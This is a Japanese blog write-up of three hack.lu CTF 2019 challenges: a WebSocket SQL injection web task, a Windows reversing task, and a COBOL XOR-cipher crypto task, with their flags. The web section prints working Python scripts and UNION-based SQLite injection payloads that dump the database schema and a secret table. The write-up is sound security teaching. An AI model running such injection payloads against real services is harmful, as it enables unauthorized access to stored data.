TSALVIA技術メモ

CTFのWriteupや気になったツールについて書いていきます。また、このサイトはGoogle Analyticsを利用しています。

hack.lu CTF 2019 Writeup

hack.lu CTF 2019 Writeup について

hack.lu CTF 2019 が開催されました。
2019年10月22日午後7時~2019年10月24日午後7時(48時間)

https://fluxfingersforfuture.fluxfingers.net/info

かなり難易度の高いCTFでした。OTセキュリティに焦点を当てているのか、 別のアーキテクチャのPwn問題だったり、古い言語が使われていたり、工場系のワードがよく出ていました。 一応今回もチームで参加しましたが、私しか解けていませんでした。 結果は、104/973位で477点でした。このCTFの中で回答率の高い3問解けたので、そのWriteupを紹介します。

f:id:tsalvia:20191025085814p:plain

hack.lu CTF 2019 Writeup(3問)

Nucular Power Plant(baby-web)

問題

We found this overview page of nucular power plants, maybe you can get us some secret data to fight them?
http://31.22.123.49:1909

解答例

指定されたURLにアクセスすると、以下のようなページが表示されました。 原子力発電所の各施設の発電量の確認ができるようです。

f:id:tsalvia:20191025073715p:plain

とりあえず、F12で確認しました。 main.jsを見てみると、以下の処理が確認できました。 websocketで接続し、Plant情報を取ってきて表示する処理となっているようです。

const elPlantList = document.getElementById('plant-list');
const elPlantListLoading = document.getElementById('plant-list-loading');
const elPlantDetail = document.getElementById('plant-detail');
const elPlantDetailLoading = document.getElementById('plant-detail-loading');

const plantListItem = (ws, plant) => {
    const li = document.createElement('li');
    const fali = document.createElement('span');
    const icon = document.createElement('i');

    li.onclick = (e) => {
        ws.send(plant);
    };

    fali.className = 'fa-li';
    icon.className = 'fas fa-industry-alt';
    li.innerText = plant;

    fali.appendChild(icon);
    li.appendChild(fali);
    elPlantList.appendChild(li);
};
const plantList = (ws, plants) => {
    // clear old entries
    while (elPlantList.hasChildNodes()) {
        elPlantList.removeChild(elPlantList.firstChild);
    }

    for (const plant of plants) {
        plantListItem(ws, plant);
    }
    
    elPlantList.style = 'display: block;';
    elPlantListLoading.style = 'display: none;';
};

const plantDetails = (plant) => {
    plantPowerSupply(0);
    
    const fields = ["name", "type", "power", "operation", "operator", "shutdown"];
    for (const field of fields) {
        for (const el of document.getElementsByClassName(`plant-${field}`)) {
            el.innerText = plant[field];
        }
    }

    elPlantDetail.style = 'display: block;';
    elPlantDetailLoading.style = 'display: none;';
};
const plantPowerSupply = (powerSupply) => {
    for (const el of document.getElementsByClassName('plant-power-supply')) {
        el.innerText = powerSupply % 101;
    }
};

const main = () => {
    const ws = new WebSocket(`ws://${window.location.host}/ws`);
    ws.onerror = (e) => {
        alert('WebSocket connection failed.');
    };
    ws.onmessage = (e) => {
        const data = JSON.parse(e.data);

        if (typeof data === 'string') {
            alert(data);
        } else if (typeof data === 'number') {
            plantPowerSupply(data);
        } else if (Array.isArray(data)) {
            plantList(ws, data);
        } else {
            plantDetails(data);
        }
    }
}

main();

Pythonからwebsocketに接続するようなスクリプトを作成しました。 初回接続時にPlant名のリストを取得でき、Plant名を送信するとそのPlant情報が取得できるようです。 また、それ以降は、Current Power Supply情報が取得できるようです。

from websocket import create_connection
import json

def main():
    ws = create_connection("ws://31.22.123.49:1909/ws")
    result = json.loads(ws.recv())
    print(result)

    ws.send(result[0])
    result = json.loads(ws.recv())
    print(result)

    for _ in range(5):
        result = json.loads(ws.recv())
        print(result)

    ws.close()

if __name__ == "__main__":
    main()

実行すると、以下のようになります。

$ pip install websocket
$ python test.py 
['Gundremmingen C', 'Grohnde', 'Phillipsburg 2', 'Brokdorf', 'Isar 2', 'Emsland', 'Neckarwestheim 2']
{'operation': 1985, 'name': 'Gundremmingen C', 'operator': 'RWE', 'shutdown': 2021, 'type': 'BWR', 'power': 1288}
3011294498
2473469445
1778470357
3795357061
3846035812

次に、総当たりで1文字ずつ送信するスクリプトを作成しました。

from websocket import create_connection
import json
import string

def main():
    ws = create_connection("ws://31.22.123.49:1909/ws")
    result = json.loads(ws.recv())
    print(result)

    for ch in string.printable:
        ws.send(ch)
        result = json.loads(ws.recv())
        print("{}: {}".format(ch, result))

    ws.close()

if __name__ == "__main__":
    main()

実行すると、以下のようになります。

$ python test.py 
['Gundremmingen C', 'Grohnde', 'Phillipsburg 2', 'Brokdorf', 'Isar 2', 'Emsland', 'Neckarwestheim 2']
0: Error: QueryReturnedNoRows
1: Error: QueryReturnedNoRows
2: Error: QueryReturnedNoRows

# 省略

X: Error: QueryReturnedNoRows
Y: Error: QueryReturnedNoRows
Z: Error: QueryReturnedNoRows
!: Error: QueryReturnedNoRows
": Error: SqliteFailure(Error { code: Unknown, extended_code: 1 }, Some("unrecognized token: \"\"\"\"\""))
#: Error: QueryReturnedNoRows
$: Error: QueryReturnedNoRows

# 省略

" を送信したときだけ、別のエラーが返ってきています。

Error: SqliteFailure(Error { code: Unknown, extended_code: 1 }, Some("unrecognized token: \"\"\"\"\""))

SQLiteのエラーが返ってきているので、SQLインジェクションができそうです。 以下のようなスクリプトを作成し、色々なクエリを投げてみました。

from websocket import create_connection
import json
import sys

def main():
    if len(sys.argv) < 2:
        print("input error")
        return

    ws = create_connection("ws://31.22.123.49:1909/ws")
    result = json.loads(ws.recv())
    print(result)

    query = sys.argv[1] 
    ws.send(query)
    print("query:", query)

    result = json.loads(ws.recv())
    if type(result) == dict:
        print("result:", end="")
        for item in result.items():
            print("\t{}, {}".format(item[0], item[1]))
    else:
        print("result:", result)

if __name__ == "__main__":
    main()

" UNION SELECT tbl_name,sql,rootpage,1,name,1 FROM sqlite_master-- と入力すると、nucular_plantテーブル情報を参照することができました。 このテーブルでPlant情報を管理しているようです。

$ python test.py '" UNION SELECT tbl_name,sql,rootpage,1,name,1 FROM sqlite_master-- '
['Gundremmingen C', 'Grohnde', 'Phillipsburg 2', 'Brokdorf', 'Isar 2', 'Emsland', 'Neckarwestheim 2']
query: " UNION SELECT tbl_name,sql,rootpage,1,name,1 FROM sqlite_master-- 
result: operator, nucular_plant
        shutdown, 1
        power, 2
        name, nucular_plant
        type, CREATE TABLE nucular_plant (
                  id INTEGER PRIMARY KEY,
                  name TEXT NOT NULL,
                  type TEXT NOT NULL,
                  power INTEGER NOT NULL,
                  operation INTEGER NOT NULL,
                  operator TEXT NOT NULL,
                  shutdown INTEGER NOT NULL
                  )
        operation, 1

次に " UNION SELECT tbl_name,sql,rootpage,1,name,1 FROM sqlite_master WHERE rootpage=3-- でrootpageを指定して別のテーブル情報を取得しました。 どうやら、secret テーブルがあるようです。

$ python test.py '" UNION SELECT tbl_name,sql,rootpage,1,name,1 FROM sqlite_master WHERE rootpage=3-- '
['Gundremmingen C', 'Grohnde', 'Phillipsburg 2', 'Brokdorf', 'Isar 2', 'Emsland', 'Neckarwestheim 2']
query: " UNION SELECT tbl_name,sql,rootpage,1,name,1 FROM sqlite_master WHERE rootpage=3-- 
result: name, secret
        power, 3
        shutdown, 1
        operator, secret
        type, CREATE TABLE secret (
                  id INTEGER PRIMARY KEY,
                  name TEXT NOT NULL,
                  value TEXT NOT NULL
                  )
        operation, 1

あとは、secretテーブル情報を参考に" UNION SELECT name,value,id,1,name,1 FROM secret-- と入力してみると、フラグが取得できました。

$ python test.py '" UNION SELECT name,value,id,1,name,1 FROM secret-- '
['Gundremmingen C', 'Grohnde', 'Phillipsburg 2', 'Brokdorf', 'Isar 2', 'Emsland', 'Neckarwestheim 2']
query: " UNION SELECT name,value,id,1,name,1 FROM secret-- 
result: power, 2
        operation, 1
        type, flag{sqli_as_a_socket}
        name, flag
        operator, flag
        shutdown, 1

FLAG

flag{sqli_as_a_socket}

VsiMple(rev)

問題

Evil Oil corporations are trying to obfuscate their computers in order to destroy the world. Show 'em their stupidity!
Download challenge files

解答例

実行ファイルを渡されたので、とりあえずfileコマンドを打ってみます。 64bitのPEファイルのようです。

$ file VsiMple.exe
VsiMple.exe: PE32+ executable (console) x86-64, for MS Windows

実行してみると、フラグの入力を求められます。適当に打ってみると、:(と返されました。

PS> .\VsiMple.exe
flag pls: hoge
:(

次に、Ghidraでデコンパイルしてみました。

f:id:tsalvia:20191026154113p:plain

60行目を見てみると、ret = (*(&local_d8)[num])(&local_d8); としており、関数テーブルから関数を指定して、呼び出している処理が確認できます。 また、その関数の指定は、58行目のところでループごとに変動するようになっていまいます。

今度は、実際にx64dbgで動かしながら処理を確認してみます。

該当の箇所でbreakさせました。

f:id:tsalvia:20191026155725p:plain

Continueを押していくと、以下の順に呼び出されていることが分かりました。

1回目:0x00007FF7C2358240
f:id:tsalvia:20191026160016p:plain
2回目:0x00007FF7C23581C0
f:id:tsalvia:20191026155827p:plain
3回目:0x00007FF7C23581C0
f:id:tsalvia:20191026155856p:plain
4回目:0x00007FF7C23581B0
f:id:tsalvia:20191026155915p:plain

次に、上記の関数にbreakpointを置いて、flagと入力して実行してみました。 前回のように適当に入力した場合と違い、呼び出し回数が多くなっているのが確認できます。

f:id:tsalvia:20191026164611p:plain

さらに、flag{ と入力して実行してみました。 すると、呼び出し回数が先ほどよりも多くなりました。

f:id:tsalvia:20191026164820p:plain

どうやら1文字ずつ判定しているようです。 ここまで分かったので、1文字ずつ総当たりで、呼び出し回数が多くなる入力を探していきました。 総当たりの結果、flag{br34k1ng_th3_s1mul4t1on_m4tr1x_style} と入力した場合が最大の呼び出し回数となりました。 この文字列がフラグとなります。

f:id:tsalvia:20191026170233p:plain

FLAG

flag{br34k1ng_th3_s1mul4t1on_m4tr1x_style}

COBOL OTP(crypto)

問題

To save the future you have to look at the past. Someone from the inside sent you an access code to a bank account with a lot of money. Can you handle the past and decrypt the code to save the future?
Download challenge files

解答例

以下のようなCobolで書かれたプログラムが渡されました。

       identification division.
       program-id. otp.
      
       environment division.
       input-output section.
       file-control.
           select key-file assign to 'key.txt'
           organization line sequential.
      
       data division.
       file section.
       fd key-file.
       01 key-data pic x(50).
      
       working-storage section.
       01 ws-flag pic x(1).
       01 ws-key pic x(50).
       01 ws-parse.
           05 ws-parse-data pic S9(9).
       01 ws-xor-len pic 9(1) value 1.
       77 ws-ctr pic 9(1).
      
       procedure division.
           open input key-file.
           read key-file into ws-key end-read.
      
           display 'Enter your message to encrypt:'.
           move 1 to ws-ctr.
           perform 50 times
               call 'getchar' end-call
               move return-code to ws-parse
               move ws-parse to ws-flag

               call 'CBL_XOR' using ws-key(ws-ctr:1) ws-flag by value
               ws-xor-len end-call

               display ws-flag with no advancing
               add 1 to ws-ctr end-add
           end-perform.
      
       cleanup.
           close key-file.
           goback.
       end program otp.

ソースコードを読むと、以下のような処理となっています。

  1. key.txtを読み出す。
  2. Enter your message to encrypt: と表示する。
  3. getcharで1文字ずつ標準入力を受け付ける。
  4. 入力値とkey.txtの値をXORする。
  5. XORされた文字を出力する。
  6. 3~5を50回繰り返す。

ただし、よくソースコードを見てみると、77 ws-ctr pic 9(1). となっており、 ws-ctrは、0~9までしか保持できないようになっています。 よって、XORされるキーは、key.txt の初めの10文字分となっています。

また、もう一つのファイルを見てみました。 以下のようになっており、出力結果のダンプとなっているようです。

$ cat out
Enter your message to encrypt:
y;dhuF]UjhC-1T`h&F1*T{_p02J
$ hexdump -C out
00000000  45 6e 74 65 72 20 79 6f  75 72 20 6d 65 73 73 61  |Enter your messa|
00000010  67 65 20 74 6f 20 65 6e  63 72 79 70 74 3a 0a a6  |ge to encrypt:..|
00000020  d2 13 96 79 3b 10 64 68  75 9f dd 46 9f 5d 17 55  |...y;.dhu..F.].U|
00000030  6a 68 43 8f 8c 2d 92 31  07 54 60 68 26 9f cd 46  |jhC..-.1.T`h&..F|
00000040  87 31 2a 54 7b 04 5f a6  eb 06 a4 70 30 11 32 4a  |.1*T{._....p0.2J|
00000050  0a                                                |.|
00000051

XORキーが10桁分しかないことが分かっているので、後は予測しながらフラグを復号していきます。 おそらく入力された文字列は、以下のような感じになっているはずです。

flag{?????
??????????
??????????
??????????
????????}\n

そのため、XORキーの0~4番目と8~9番目は、求められそうです。
しかし、まだ5~7番目が分かりません。ここは、総当たりをしてみます。

以下のようなスクリプトを書きました。5~7番目は、総当たりで出力するようにしています。

import itertools
import string

def split_n(s, n):
    return [s[i: i+n] for i in range(0, len(s), n)]
    
def xor_bytes(b, key):
    result = bytearray()
    for i in range(len(b)):
        dec = b[i] ^ key[i % len(key)]
        result.append(dec)  
    return bytes(result)

def search_key_candidate(enc_flag_list, offset):
    key = []
    for k in range(0x100):
        tmp_s = ""
        for s in enc_flag_list:
            ch = chr(s[offset] ^ k)
            if ch in string.printable and ch not in string.whitespace:
                tmp_s += ch
        
        if len(tmp_s) == len(enc_flag_list):
            key.append(k)
    return key

def main():
    with open("out", "rb") as f:
        f.readline()
        enc_flag = f.readline()
    
    enc_flag_list = split_n(enc_flag, 10)
    
    key_candidates1 = xor_bytes(enc_flag_list[0], b"flag{xxxxx")
    key_candidates2 = xor_bytes(enc_flag_list[-1], b"xxxxxxxx}\n")

    key = [
        key_candidates1[0], # f
        key_candidates1[1], # l
        key_candidates1[2], # a
        key_candidates1[3], # g
        key_candidates1[4], # {
            0x00,
            0x00,
            0x00,
        key_candidates2[8], # }
        key_candidates2[9], # \n
    ]

    key5_candidates = search_key_candidate(enc_flag_list, 5)
    key6_candidates = search_key_candidate(enc_flag_list, 6)
    key7_candidates = search_key_candidate(enc_flag_list, 7)

    for i in key5_candidates:
        for j in key6_candidates:
            for k in key7_candidates:
                key[5] = i
                key[6] = j
                key[7] = k
                flag = xor_bytes(enc_flag, key).decode("utf-8")
                print("({:4},{:4},{:4}): {}".format(hex(i), hex(j), hex(k), flag), end="")

if __name__ == "__main__":
    main()

試しに実行してみると、178,416件のフラグ候補が出力されました。

$ python solve.py | nl | tail -n 1
178416  (0x7f,0x7f,0x5f): flag{Do;_u_c4n_h*5_CO2_c3x+?_&_s4v3U+$3_fUtUrOnm}

ここからは、grepしながら探していきます。 フラグの後半にfUtUrという文字列があり、futureのように見えます。

以下のように、grepしてみると、3,024件まで候補を絞ることができました。

$ python solve.py | grep fUtUre | nl | tail -n 1
$ python solve.py | grep fUtUr3 | nl | tail -n 1
$ python solve.py | grep fUtUrE | nl | tail -n 1
  3024  (0x75,0x7f,0x5f): flag{No;_u_c4n_b*5_CO2_c3r+?_&_s4v3_+$3_fUtUrEnm}

3,024件程度なら目grepできそうです。 flag{ の後のNから始まる3文字の単語でいい感じのやつを目grepしました。 18行目が一番いい感じになっています。

18  (0x75,0x20,0x13): flag{N0w_u_c4n_buy_CO2_c3rts_&_s4v3_th3_fUtUrE1!}

強引でしたが、これがフラグとなっていました。
(もっとスマートに解くには、どうすればいいんだろうか......)

FLAG

flag{N0w_u_c4n_buy_CO2_c3rts_&_s4v3_th3_fUtUrE1!}